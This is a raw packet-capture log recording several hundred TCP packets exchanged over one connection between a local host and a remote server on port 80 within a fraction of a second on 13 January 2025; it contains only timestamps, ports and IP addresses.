Jan 13, 2025 09:22:25.174467087 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.174491882 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.174504042 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.174583912 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.262283087 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.262341976 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.262360096 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.262372971 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.262428045 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.262439013 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.262439013 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.262470961 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.262481928 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.262516022 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.262546062 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.262550116 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.262559891 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.262583971 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.262624979 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.262624979 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.262640953 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.262675047 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.262711048 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.262742996 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.262768984 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.262778044 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.262804031 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.262811899 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.262814999 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.262850046 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.262875080 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.262878895 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.262932062 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.262950897 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.262984991 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.263030052 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.263030052 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.263055086 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.263091087 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.263115883 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.263124943 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.263150930 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.263178110 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.263190985 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.263237953 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.263286114 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.263286114 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.263289928 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.263348103 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.263359070 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.263401985 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.263448000 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.263448000 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.263452053 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.263487101 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.263520002 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.263533115 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.263533115 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.263573885 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.263583899 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.263618946 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.263633966 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.263670921 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.263715029 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.263715029 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.263722897 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.263776064 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.263780117 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.263811111 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.263845921 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.263853073 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.263853073 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.263899088 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.263907909 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.263952017 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.263986111 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.263998985 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.263998985 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.264023066 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.264041901 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.264058113 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.264089108 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.264092922 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.264122963 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.264126062 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.264153957 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.264162064 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.264180899 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.264198065 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.264233112 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.264250040 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.264269114 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.264285088 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.264302969 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.264305115 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.264338017 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.264373064 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.264384031 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.264384031 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.264425039 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.264492989 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.264492989 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.264600039 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.264633894 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.264652967 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.264684916 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.264688015 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.264722109 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.264755011 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.264765978 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.264791012 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.264817953 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.264822960 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.264849901 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.264858961 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.264893055 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.264909029 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.264909029 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.264929056 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.264961958 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.264981031 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.264981031 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.264998913 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.265032053 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.265033960 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.265069008 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.265079975 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.265079975 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.265103102 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.265117884 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.265137911 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.265182972 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.265192032 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.265230894 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.265243053 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.265264988 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.265296936 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.265317917 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.265333891 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.265352011 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.265382051 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.265403032 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.265405893 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.265434027 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.265470982 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.265477896 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.265511036 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.265531063 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.265541077 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.265593052 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.265605927 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.265628099 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.265660048 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.265698910 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.265698910 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.265748978 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.265799999 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.265830040 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.265839100 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.265870094 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.265891075 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.265924931 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.265957117 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.265969992 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.265969992 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.265991926 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.266038895 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.266055107 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.266055107 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.266074896 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.266103983 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.266108990 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.266144991 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.266149044 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.266149044 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.266180992 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.266218901 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.266226053 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.266226053 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.266253948 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.266277075 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.266297102 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.266304016 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.266331911 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.266366959 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.266376972 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.266376972 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.266402006 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.266438007 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.266443968 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.266443968 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.266472101 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.266509056 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.266519070 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.266519070 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.266542912 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.266567945 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.266587019 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.266616106 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.266621113 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.266630888 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.266657114 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.266668081 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.266691923 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.266720057 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.266727924 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.266761065 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.266772985 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.266772985 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.266797066 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.266829967 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.266866922 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.266880989 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.266880989 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.266901016 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.266935110 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.266956091 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.266956091 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.266968966 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.266999960 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.267004013 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.267030954 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.267038107 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.267072916 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.267082930 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.267082930 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.267107964 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.267146111 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.267159939 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.267159939 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.267184019 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.267220020 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.267234087 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.267234087 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.267349958 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.354937077 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.355015039 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.355065107 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.355065107 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.355067968 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.355123043 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.355159044 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.355173111 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.355196953 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.355216026 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.355241060 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.355292082 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.355292082 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.355295897 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.355393887 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.355444908 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.355504036 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.355504036 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.355504036 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.355555058 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.355588913 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.355597019 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.355624914 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.355668068 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.355688095 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.355725050 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.355777025 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.355787039 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.355813980 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.355822086 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.355870962 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.355925083 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.355931997 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.355984926 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.356019974 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.356040955 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.356051922 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.356091976 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.356106043 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.356142044 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.356146097 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.356182098 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.356239080 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.356287956 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.356296062 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.356328011 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.356363058 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.356374025 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.356374979 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.356393099 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.356442928 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.356445074 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.356477976 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.356486082 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.356514931 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.356534004 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.356549025 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.356575966 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.356581926 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.356612921 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.356620073 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.356637001 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.356648922 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.356667042 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.356682062 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.356692076 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.356719017 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.356740952 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.356754065 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.356790066 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.356812954 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.356822968 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.356827974 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.356858969 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.356884003 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.356909037 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.356933117 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.356971979 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.357023954 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.357076883 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.357079983 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.357129097 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.357160091 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.357166052 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.357192039 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.357199907 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.357238054 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.357270956 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.357283115 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.357306004 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.357337952 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.357342005 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.357372046 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.357400894 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.357400894 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.357402086 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.357414007 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.357438087 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.357481956 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.357527018 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.357527018 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.357534885 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.357590914 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.357641935 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.357641935 CET	49865	80	192.168.2.5	104.21.32.1
